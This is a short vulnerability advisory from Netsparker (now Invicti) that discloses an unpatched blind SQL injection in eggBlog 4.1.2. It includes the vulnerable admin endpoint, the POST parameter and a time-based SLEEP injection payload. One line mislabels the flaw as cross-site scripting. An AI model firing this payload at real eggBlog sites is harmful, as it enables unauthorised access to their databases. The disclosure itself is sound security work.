Information
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Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerability in eggBlog
Affected Software: eggBlog
Affected Versions: 4.1.2
Vendor Homepage: https://sourceforge.net/projects/eggblog/ 
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Not Fixed
Invicti Advisory Reference: NS-16-018

Technical Details
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Proof of Concept URL for Blind SQL Injection vulnerability in eggBlog;

URL /eggblog/admin.php?editarticle=1
Parameter Name text
Parameter Type POST
Attack Pattern -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

For more information on cross-site scripting vulnerabilities read the article SQL Injection.

Advisory Timeline
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28 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
05 Oct 2016 - Advisory released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.